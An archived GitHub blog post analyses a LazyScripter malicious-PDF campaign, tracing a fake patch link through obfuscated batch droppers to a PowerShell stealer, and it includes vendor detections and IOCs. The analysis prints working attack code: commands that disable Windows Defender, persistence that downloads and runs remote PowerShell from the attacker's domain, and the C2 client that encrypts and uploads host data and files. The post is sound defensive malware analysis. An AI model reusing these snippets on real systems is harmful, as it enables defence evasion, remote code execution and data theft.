

Blogpost/LazyScripter at main · SrujanKumar-K/Blogpost

By SrujanKumar-K

Archived: 2026-04-05 22:26:34 UTC

Malicious PDF Document Analysis - Lazyscripter

File-information

LazyScripter is a threat group that has mainly targeted the airlines industry since at least 2018, primarily using open-source toolsets [1](#) [2](#). The threat actor gained initial access using malicious PDF, here are the details.

- Md5: **62610680349de97db658a7d41fc9a9b8** available in [Any Run](#)
- File Type: PDF

19 / 59
19 security vendors and no sandboxes flagged this file as malicious

4594ab93854f59d72ac1231e379bd24abe92336e6808ab2ac0251e5db8704a57
4594ab93854f59d72ac1231e379bd24abe92336e6808ab2ac0251e5db8704a57.bin

376.55 KB Size | 2022-05-09 08:37:22 UTC a moment ago

checks-network-adapters checks-user-input detect-debug-environment direct-cpu-clock-access long-sleeps pdf runtime-modules

DETECTION	DETAILS	RELATIONS	BEHAVIOR	COMMUNITY
Security Vendors' Analysis				
Ad-Aware	Trojan.GenericKD.48987194	ALYac	Trojan.GenericKD.48987194	
Arcabit	Trojan.Generic.D2EB7C3A	Avira (no cloud)	PHISH/KAB.Talu.wtziu	
BitDefender	Trojan.GenericKD.48987194	Cynet	Malicious (score: 99)	
Cyren	PDF/Downldr.NX	Emsisoft	Trojan.GenericKD.48987194 (B)	
eScan	Trojan.GenericKD.48987194	ESET-NOD32	PDF/TrojanDownloader.Agent.ANL	
GData	Trojan.GenericKD.48987194	Lionic	Trojan.PDF.Generic.Olc	
MAX	Malware (ai Score=82)	McAfee	ArtemisI62610680349D	
McAfee-GW-Edition	Artemis!Trojan	Sophos	Troj/PDFDwn-AAH	
Trellix (FireEye)	Trojan.GenericKD.48987194	TrendMicro-HouseCall	Trojan.PDF.KAB.VSNW06E22	
ViRobot	PDF.Z.Agent.385584	Acronis (Static ML)	Undetected	

Work-flow

```
graph TD; PDF --> Downloads_ZIP --> BatchScript --> Powershell --> CnC;
```

Analysis

Stage1

We can extract PDF properties using "PDFID" tool and below snip shows that it has "embedded /URI" content.

```
pdfid Malicious.pdf
PDFID 0.2.7
PDF Header: %PDF-1.7
obj 86
endobj 86
stream 35
endstream 35
xref 0
trailer 0
startxref 8
/Page 6
/Encrypt 0
/ObjStm 0
/JS 0
/JavaScript 0
/AA 0
/OpenAction 0
/AcroForm 0
/JBIG2Decode 0
/RichMedia 0
/Launch 0
/EmbeddedFile 0
/XFA 0
/URI 8
/Colors > 2^24 0
```

With the help of "pdf-parser" these URL can be extracted. The Malicious PDF file pretends to be a fake patch installation. The embedded link downloads password protected ZIP file and the password is hardcoded in PDF file.

```
pdf-parser -s "URI" Malicious.pdf
obj 43 0
Type: /Action
Referencing:
<<
  /S /URI
  /Type /Action
  /URI (http://128.199.7.40/PATCH%20CVE00456-2022.zip)
>>
```



Kindly install this patch to secure any connection to your sales platform.

Click [here](#) to download the patch.

Patch Password: SSL

Stage2

The unzipped file containing two batch scripts named it as "SecurityDsp.bat & SSLCertificate.bat", both having identical contents with MD5 as "20e9e2e20425f5b89106f6bbace5381d"

The code is heavily obfuscated to evade the AV detection as below.

► Encoded

After replacing the each "SET" variables with the corresponding char and doing one more replacement in Cyberchef results a clean and readable code. The entire code is available in below dropdown section.

Recipe

Find / Replace

Find: %

Replace:

Global match Case insensitive Multiline matching

Dot matches all

Input

```
@%e%c%h%o% %o%f%f%
%r%e%g% %d%e%l%e%t%e%
"%h%k%l%m%\s%o%f%t%w%a%r%e%\p%o%l%l%c%i%e%e%\m%:
%d%e%f%e%n%d%e%r%" /%f%
%r%e%g% %d%e%l%e%t%e%
"%h%k%l%m%\s%o%f%t%w%a%r%e%\p%o%l%l%c%i%e%e%\m%:
%d%e%f%e%n%d%e%r%" /%f%
```

Output

```
@echo off
reg delete "hklm\software\policies\microsoft\windows defender" /f
reg add "hklm\software\policies\microsoft\windows defender" /v "disal
reg add "hklm\software\policies\microsoft\windows defender" /v "disal
reg add "hklm\software\policies\microsoft\windows defender\mpengine"
reg add "hklm\software\policies\microsoft\windows defender\real-time
reg_dword /d "1" /f
reg add "hklm\software\policies\microsoft\windows defender\real-time
/d "1" /f
reg add "hklm\software\policies\microsoft\windows defender\real-time
reg_dword /d "1" /f
reg add "hklm\software\policies\microsoft\windows defender\real-time
reg_dword /d "1" /f
reg add "hklm\software\policies\microsoft\windows defender\real-time
reg_dword /d "1" /f
reg add "hklm\software\policies\microsoft\windows defender\real-time
reg_dword /d "1" /f
```

► Decoded

The decoded payload has capable of disabling multiple security features built in Defender, setting persistence using Registry Keys and Scheduled Taks and also downloading next stage payload from mentioned URLs.

1. `hxxp[://]hpsj[.]firewall-gateway[.]net:80/hpis[.]php`
2. `hxxp[://]hpsj[.]firewall-gateway[.]net:443/uddiexplorer`

```
reg add "hkey_current_user\software\microsoft\windows\currentversion\run" /v "#one" /t reg_sz /d "powershell -w hidden \"add-type -system.core;iex (new-object net.webclient).downloadstring('http://hpsj.firewall-gatewav.net:80/hpis.php');\" /f

reg add "hkey_current_user\software\microsoft\windows\currentversion\run" /v "#oneupdate" /t reg_sz /d "powershell -w hidden \"add-assemblyname system.core;iex (new-object net.webclient).downloadstring('http://hpsj.firewall-gatewav.net:443/uddiexplorer');\" /f

\"c:\program files\microsoft security client\setup.exe\" /x /s /disableoslimit

start /b powershell add-mppreference -exclusionpath \"c:\" -force

start /b powershell add-mppreference -exclusionpath \"c:\users\" -force

start /b powershell -w hidden \"iex(new-object net.webclient).downloadstring('http://hpsj.firewall-gatewav.net:443/uddiexplorer');\"

start /b powershell -w hidden \"add-type -assemblyname system.core;iex (new-object net.webclient).downloadstring('http://hpsj.firewall-gatewav.net:80/hpis.php');\"

schtasks /create /sc minute /mo 60 /f /tn achromeupdater /tr \"powershell -w hidden \"add-type -assemblyname system.core;iex (new-object net.webclient).downloadstring('http://hpsj.firewall-gatewav.net:80/hpis.php');\";\"

schtasks /f /create /sc minute /mo 60 /tn achromeupdateri /tr \"powershell.exe -w hidden 'iex (new-object net.webclient).downloadstring('http://hpsj.firewall-gatewav.net:443/uddiexplorer');';\"
```

Final-Stage

The final payload downloaded from above 1st URL is scripted in Powershell and steals user's info such as (HostName, UserName, OS Architecture (32/64) & Verion, AD-Domain, System IP, Admin-check, enumerating all running process etc..) All these data are encrypted with **AES-CBC** and sent over to C2 server.

```
$var Sleep = 5;
$AES_Key = "QUFOVENOWVNETU9UT0hZVVhKVkhHQ1BNSUNSWERTREg=";
$AES_IV = "VUVGV1VVT05XWELQVkdORg=="

function AES_Init_CBC($AES_Key, $AES_IV) {
    $D = New-Object "System.Security.Cryptography.AesManaged"
    $D.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $D.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
    $D.BlockSize = 128
    $D.KeySize = 256
    if ($AES_IV) {
        if ($AES_IV.GetType().Name -eq "String") {
            $D.IV = [System.Convert]::FromBase64String($AES_IV)
        }
        else {
            $D.IV = $AES_IV
        }
    }
    if ($AES_Key) {
        if ($AES_Key.GetType().Name -eq "String") {
            $D.Key = [System.Convert]::FromBase64String($AES_Key)
        }
        else {
            $D.Key = $AES_Key
        }
    }
    $D
}

function AES_Encryption($AES_Key, $AES_IV, $unencryptedString) {
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
    $D = AES_Init_CBC $AES_Key $AES_IV
    $TM = $D.CreateEncryptor()
    $encryptedData = $TM.TransformFinalBlock($bytes, 0, $bytes.Length);
    [System.Convert]::ToBase64String($encryptedData)
}

function AES_Decryption($AES_Key, $AES_IV, $cipher) {
    $bytes = [System.Convert]::FromBase64String($cipher)
    $D = AES_Init_CBC $AES_Key $AES_IV
    $decryptor = $D.CreateDecryptor();
    $RTXYIQF = $decryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
    [System.Text.Encoding]::UTF8.GetString($RTXYIQF).Trim([char]0)
}
```

The response from C2 server is also an AES encrypted content and for reference the returned value "LquqiDE9NWIWMN6NCrXeJg==" (extracted from Anyrun) is decoded to be "False". Following CyberChef recipe can be used to decode the commands.

Last build: 25 days ago

Recipe	Input
<p>From Base64</p> <p>Alphabet A-Za-z0-9+/=</p> <p><input checked="" type="checkbox"/> Remove non-alphabet chars</p>	LquqiDE9NWlWMN6NCrXeJg==
AES Decrypt	Output
<p>Key QUFOVENOWVNETU9UT0hZVvhkVkhHQ1BNSUNSWERTREg=</p> <p>IV VUVGV1VVT05XWEIQVkdORg==</p> <p>Mode CBC</p> <p>Input Raw</p> <p>Output Raw</p>	False

Based on decoded value, the corresponding code block is going to be executed.

```

if($C2_Command -eq "False"){
} elseif($C2_Command -eq "Report"){
    $ps = foreach ($i in Get-Process){$i.ProcessName}; #Enumerate all processes
    $local_ips = (Get-NetIPConfiguration | Where-Object { $_.IPv4DefaultGateway -ne $null -and $_.NetAdapter.Status -ne "Disconnected" }).IPv4Address
    $ps+= $arr -join ";";
    $ps+= (Get-WmiObject -Class win32_operatingSystem).version;
    $ps+= (Get-WinSystemLocale).Name
    $ps+= ((get-date) - (gcim Win32_OperatingSystem).LastBootUpTime).TotalHours
    $ps+= Get-Date -Format "HH:mm(MM/dd/yyyy)"
    $pst = AES_Encryption $AES_Key $AES_IV $ps
    $wrh = $wr.Headers;
    $wrh.add("Authorization", $pst);
    $wrh.add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36");
    $wrh.add("App-Logic", $encrypted_hostname);
    $wr.downloadString("http://hpsj.firewall-gateway.net:80/calls");
} elseif($C2_Command.split(" ")[0] -eq "Download"){
    $filename = AES_Encryption $AES_Key $AES_IV $C2_Command.split("\")[-1]
    $file_content = [System.IO.File]::ReadAllBytes($C2_Command.split(" ")[1])
    $I = [Convert]::ToBase64String($file_content);
    $eC2_Command = AES_Encryption $AES_Key $AES_IV $I;
    $VHRJM = new-object net.WebClient;
    $K = $VHRJM.Headers;
    $K.add("Content-Type", "application/x-www-form-urlencoded");
    $K.add("x-Authzation", $encrypted_username);
    $VHRJM.UploadString("http://hpsj.firewall-gateway.net:80/messages", "fn=$filename&token=$eC2_Command");
} elseif($C2_Command -eq "reset-ps"){
    try{
        # Reset Powershell session (clean)
        # NOT IMPLEMENTED YET
        $ec = "NO";
    }
    catch{
        $ec = $Error[0] | Out-String;
    }

    $I = AES_Encryption $AES_Key $AES_IV $ec;
    $VHRJM = New-Object system.Net.WebClient;
    $VHRJM.Headers["App-Logic"] = $final_hostname_encrypted;
    $VHRJM.Headers["Authorization"] = $I;
    $VHRJM.Headers["Session"] = $command_raw;
    $VHRJM.downloadString("http://hpsj.firewall-gateway.net:80/bills");
} else{
    try{
        $ec = Invoke-Expression ($C2_Command) | Out-String;
    }
    catch{
}

```

2nd URL is also acting as a dropper and downloads payload using powershell cmdlet. After de-obfuscating several stages, the final payload has also similar behaviour of stealing functionalities as mentioned earlier.

```
curl -k http://hpsj.firewall-gateway.net:443/uddiexplorer
$wc2 = New-Object system.Net.WebClient;
$wc2.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko");
$enc = $wc2.downloadString("http://hpsj.firewall-gateway.net:443/name");
$b = [System.Convert]::FromBase64String($enc)
$b=[System.Text.Encoding]::UTF8.GetString($b)
Invoke-Expression $b
```

IOC

Description	URL/Hash
PDF	62610680349de97db658a7d41fc9a9b8
ZIP (Dropper)	hxxp[://]128[.]199[.]7[.]40/PATCH%20CVE00456-2022[.]zip
Batch Script	20e9e2e20425f5b89106f6bbace5381d
URL_Dropper_1	hxxp[://]hpsj[.]firewall-gateway[.]net:80/hpjs[.]php
URL_Dropper_2	hxxp[://]hpsj[.]firewall-gateway[.]net:443/uddiexplorer
C2 Server	hxxp[://]hpsj[.]firewall-gateway[.]net:443/operation
C2 Server	hxxp[://]hpsj[.]firewall-gateway[.]net:443/proxy
C2 Server	hxxp[://]hpsj[.]firewall-gateway[.]net:443/publish
C2 Server	hxxp[://]hpsj[.]firewall-gateway[.]net:443/publishing
C2 Server	hxxp[://]hpsj[.]firewall-gateway[.]net:80/messages

References

Footnotes

1. <https://attack.mitre.org/groups/G0140/> ↵
2. <https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf> ↵